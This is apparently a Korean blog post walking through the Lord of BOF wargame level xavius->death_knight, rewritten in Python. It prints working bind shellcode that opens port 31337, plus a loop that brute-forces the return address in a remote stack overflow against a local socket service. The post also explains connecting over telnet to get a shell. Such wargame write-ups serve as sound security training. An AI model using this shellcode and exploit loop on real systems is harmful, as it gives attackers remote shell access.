LOB xavius->death_knight 파이썬으로 풀기

프로젝트/python 2016. 2. 11. 22:56

보다 자세한 풀이는 http://satanel001.tistory.com/110에 있다.

간략하게 설명하자면 소켓으로 입력을 받는데 버퍼사이즈보다 큰 입력을 받아서 bof공격이 가능한 문제다.

bind쉘코드를 넣어주고 주소를 bruteforce 공격으로 유추하여 풀었는데 파이썬으로 같은 내용을 코딩해봤다.



from struct import *
from socket import *

shellcode=\
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"+\
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"+\
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"+\
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"+\
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"+\
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"+\
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"+\
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"+\
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5"

for i in range (0xffff, 0x0000, -32):
        ret=pack("<L", i)
        payload="a"*44+ret[0]+ret[1]+"\xff\xbf"+"\x90"*32+shellcode
        print "ret: " + str(hex(unpack("<L",ret[0]+ret[1]+"\xff\xbf")[0]))

        sock=socket(AF_INET, SOCK_STREAM)
        sock.connect(("localhost", 6666))

        print sock.recv(60)
        print sock.recv(10)

        sock.send(payload)
        sock.close()


주석을 실수로 빼먹었는데 31337번 포트를 여는 bind 쉘코드다.

파이썬으로 코드를 작성해본 적이 거의 없는데도 여기저기서 보고 따라하니 어렵지 않았다.

특이한부분은 pack과 unpack부분... 개념을 잡느라 조금 시간이 걸렸다.

주소값을 0xbfffffff부터 감소시키면서 넣어줘야하는데 서버로 전달되는 입력값은 int형이 아닌 char*이므로 int값을 그대로 char형식으로 보내줘야 했다.(itoa같은 개념이 아니라 정말 해당 숫자에 해당하는 아스키값)

c에서는 unsigned int형 변수를 만든 뒤 char* 포인터로 해당 변수를 가르키게 했었는데 파이썬은 포인터 개념을 사용할 수 없어 저런식으로 해결했다.

pack 함수를 통해서 바이너리 형식의 ret을 받아오고 "<L"은 <가 리틀 엔디안을 의미하고 L은 long형임을 의미하는 듯.

이런식으로 해서 int 변수를 감소시키면서 byte 단위로 문자열로 집어넣는 문제를 해결할 수 있었다.

unpack은 문자열로 표현하기 위해서 역과정을 거친건데 중요하진 않으므로 패스.


for문에서 -32인 이유는 nop의 갯수만큼 뛰어넘어도 반드시 한번은 nop 위로 떨어지게 되는 점을 이용하여 반복을 줄인 것이다.



실제 실행한 모습.. 어느정도 돌리다가 ctrl+z로 백그라운드로 돌려놓고 netstat을 통해 확인해보니 31337포트가 열려있는 것이 보인다.




해당포트로 텔넷으로 접속하여 쉘처럼 똑같이 명령어를 입력할 수 있다. 다만 세미콜론을 붙여줘야한다.


원 포스팅의 c 버전에서는 루프마다 system 함수로 텔넷 접속을 계속 시도햇었는데 조금더 간단하게 짜기 위해 텔넷은 직접 접속하는 방식으로 했다.

끝-


Tags
Social